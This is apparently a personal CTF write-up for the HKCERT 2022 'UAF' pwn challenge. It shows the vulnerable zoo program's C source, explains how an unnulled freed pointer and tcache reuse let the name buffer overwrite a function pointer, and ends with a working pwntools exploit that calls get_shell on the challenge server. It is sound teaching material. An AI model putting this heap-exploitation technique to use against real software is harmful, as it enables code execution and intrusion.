Try โ€‚โ€‰HackMD

HKCERT CTF 2022 UAF

tags: HKCERTCTF2022 Pwn

Challenge description

It is my first time actually solving heap challenges so I think it is worthwhile to do a write-up before I forget everything like I always do.

As the challenge name implies, the challenge was about exploiting a use-after-free vulnerbility to achieve code execution.

You can checkout the descriptions provided here by the challenge author which covered most of the information you need to solve the challenge.

Let us establish some facts about the challenge binary and the libc version.

Canary                        : โœ“ 
NX                            : โœ“ 
PIE                           : โœ˜ 
Fortify                       : โœ˜ 
RelRO                         : Partial
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.

There is a good material if you are unfamiliar with glibc heap implementation:

PART 2: UNDERSTANDING THE GLIBC HEAP IMPLEMENTATION

Source code

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define ZOO_SIZE 10 #define MAX_NAME_SIZE 0x40 typedef struct Panda Panda; typedef struct Parrot Parrot; typedef struct Animal Animal; typedef void (*speakFunc)(char*); enum AnimalType { PARROT, PANDA }; struct Animal { speakFunc speak; enum AnimalType type; char* name; }; struct Zoo { int numOfAnimal; Animal* animals[ZOO_SIZE]; } zoo = { .numOfAnimal = 0 }; void get_shell() { system("/bin/sh"); } void print(char* str) { system("/usr/bin/date +\"%Y/%m/%d %H:%M.%S\" | tr -d '\n'"); printf(": %s\n", str); } void speak(char* name) { print(name); } void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); alarm(60); } int menu() { int choice = -1; print("Welcome to ABC Zoo!!!"); print("1) Add animal"); print("2) Remove animal"); print("3) Report animal Name"); print("0) Exit"); while (1) { printf("> "); scanf("%d", &choice); if (choice >= 0 && choice < 5) { break; } printf("??\n"); } printf("\n"); return choice; } void add_animal() { int choice; int size; int idx; Animal* animal; if (zoo.numOfAnimal >= ZOO_SIZE) { print("[ERROR] The zoo is full."); return; } for (idx = 0; idx < ZOO_SIZE; idx++) { if (zoo.animals[idx] == NULL) { break; } } animal = (Animal*) malloc(sizeof(Animal)); print("Type of animal?"); print("1) Parrot"); print("2) Panda"); while (1) { printf("> "); scanf("%d", &choice); if (choice == 1) { animal->type = PARROT; break; } if (choice == 2) { animal->type = PANDA; break; } printf("??\n"); } animal->speak = speak; print("How long is the name? (max: 64 characters)"); while (1) { printf("> "); scanf("%d", &size); if (size >= 0 && size < MAX_NAME_SIZE) { animal->name = (char*) malloc(size); break; } printf("??\n"); } print("Name of animal?"); printf("> "); read(0, animal->name, size); zoo.animals[idx] = animal; printf("> [DEBUG] Animal is added to zone %d\n", idx); zoo.numOfAnimal++; } void remove_animal() { int choice; if (zoo.numOfAnimal <= 0) { print("[ERROR] No animal in the zoo."); return; } print("Zone number? (0-9)"); while (1) { printf("> "); scanf("%d", &choice); if (choice >= 0 && choice < ZOO_SIZE) { break; } printf("??\n"); } if (zoo.animals[choice] == NULL) { print("[ERROR] No animal in this zone."); return; } free(zoo.animals[choice]->name); free(zoo.animals[choice]); printf("> [DEBUG] Animal is removed from zone %d\n", choice); zoo.numOfAnimal--; } void report_name() { int choice; if (zoo.numOfAnimal <= 0) { print("[ERROR] No animal in the zoo."); return; } print("Zone number? (0-9)"); while (1) { printf("> "); scanf("%d", &choice); if (choice >= 0 && choice < ZOO_SIZE) { break; } printf("??\n"); } if (zoo.animals[choice] == NULL) { print("[ERROR] No animal in this zone."); return; } zoo.animals[choice]->speak(zoo.animals[choice]->name); } int main(int argc, char const *argv[]) { int leave = 0; init(); while(!leave) { switch (menu()) { case 1: add_animal(); break; case 2: remove_animal(); break; case 3: report_name(); break; default: leave = 1; } printf("\n"); } return 0; }

Vulnerbility Analysis

So basically you have three operations:

  1. Add animal
  2. Remove animal
  3. Report animal Name

The first problem we observe in the program is the function remove_animal does not set the pointer zoo.animals[choice] to Null. The dangling pointer would being kept in the array zoo.animals which may be later referenced.

The second problem we observe in the program was the function report_name does not check if zoo.animals[choice] was removed or not before invoking zoo.animals[choice]->speak(zoo.animals[choice]->name);. Combining with the first problem, we could see this is a typical use-after-free.

Exploitation

To achieve code execution, we could simply overwrite the zoo.animals[choice]->speak in Animal

The function add_animal will always allocate two chunks as shown in the following code.

animal = (Animal*) malloc(sizeof(Animal)); ...snip... scanf("%d", &size); if (size >= 0 && size < MAX_NAME_SIZE) { animal->name = (char*) malloc(size); break; } ...snip... print("Name of animal?"); printf("> "); read(0, animal->name, size); }

The first allocatation is for the Animal structure and the second allocation would be used to store the name with a user specified size.

Do note that the user can control the content in animal->name as the line code read(0, animal->name, size); reads user defined number of bytes from STDIN.

Let us take a look at the structure of Animal

typedef void (*speakFunc)(char*); struct Animal { speakFunc speak; enum AnimalType type; char* name; };

The size of this structure is probably 24 bytes (speakFunc 8 byte + enum AnimalType 8 byte + char* 8 byte). When malloc(sizeof(Animal)) was called, the heap manager will allocate a chunk with size 0x20. If this chunk is freed, it will be going to the tcache. If any memory allocation request with size smaller or equal to 0x20, this chunk will be reallocated.

How could we overwrite the zoo.animals[choice]->speak?

We can see that the member variable speak is at the begining of Animal. Our goal is to allocate the chunk that was previously allocated for Animal when animal->name = (char*) malloc(size); was executing, then we could overwrite the first 8 byte of the memory as the line of code read(0, animal->name, size); allows user to supply data via STDIN. This way the user can overwrite zoo.animals[choice]->speak.

How to get chunk previously allocated for Animal to be reallocated when the program is prompting for the name?

Lets have a look at remove_animal

free(zoo.animals[choice]->name); free(zoo.animals[choice]);

Since the Animal chunk zoo.animals[choice] is last freed, we will always get the Animal first in add_animal as tcache is First-in-last-out (FILO), so adding 1 and then immediately freeing it and then immediately adding back will get back the same order of chunks.

My solution involves the following order of operations:

  1. Add two animals with name size longer than 0x30
  2. Free animals in zone 1 and zone 0 in order. The tcache would look like this. 2 chunks with size 0x20 and 2 chunks with size larger than 0x20. Note that both chunk with 0x20 are previously allocated for Animal.
  3. Add animal with name size smaller than 0x20. Now you could get two chunks allocated for Animal, and one of them you could control by inputting the name.
  4. To verify you can control execution flow, try name the animal at step 3 to aaaaaaaa, and report_name on zone 1. Put a breakpoint at report_name+256 and observe rip will go to 0x6161616161616161

Wed, Nov 16, 2022 9:06 PMWhy zone 1 instead of zone 0? tcache is a FILO data structure. Since zone 1 was freed first, the Animal chunk of zone 1 is being reallocated last, hence being allocated to the animal->name

Where do we control rip to go for code execution?

Do note that PIE is not enabled and there is a handy function in the challenge binary. By executing this function, we can get a shell.

void get_shell() { system("/bin/sh"); }

To find the address of this function, you can try pwntool

from pwn import * chall = ELF("./chall") shell = chall.symbols["get_shell"]

Or objdump

objdump -D _chall | grep get_shell
0000000000401276 <get_shell>:

Solve script

from pwn import * context.log_level = "debug" def _add(p,namesize,name): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"> ") p.sendline(namesize) p.recvuntil(b"> ") p.sendline(name) p.recvuntil(b'> [DEBUG]') def _remove(p,idx): p.recvuntil(b"> ") p.sendline(b"2") p.recvuntil(b"> ") p.sendline(idx) p.recvuntil(b'> [DEBUG]') def _report(p,idx): p.recvuntil(b"> ") p.sendline(b"3") p.recvuntil(b"> ") p.sendline(idx) chall = ELF("./_chall") shell = chall.symbols["get_shell"] # p = process(chall.path) p = remote("chal.hkcert22.pwnable.hk", 28235) _add(p, b"63",b"aaaa") _add(p,b"63",b"aaaa") _remove(p,b"1") _remove(p,b"0") _add(p,b"24",p64(shell)) _report(p,b"1") p.interactive()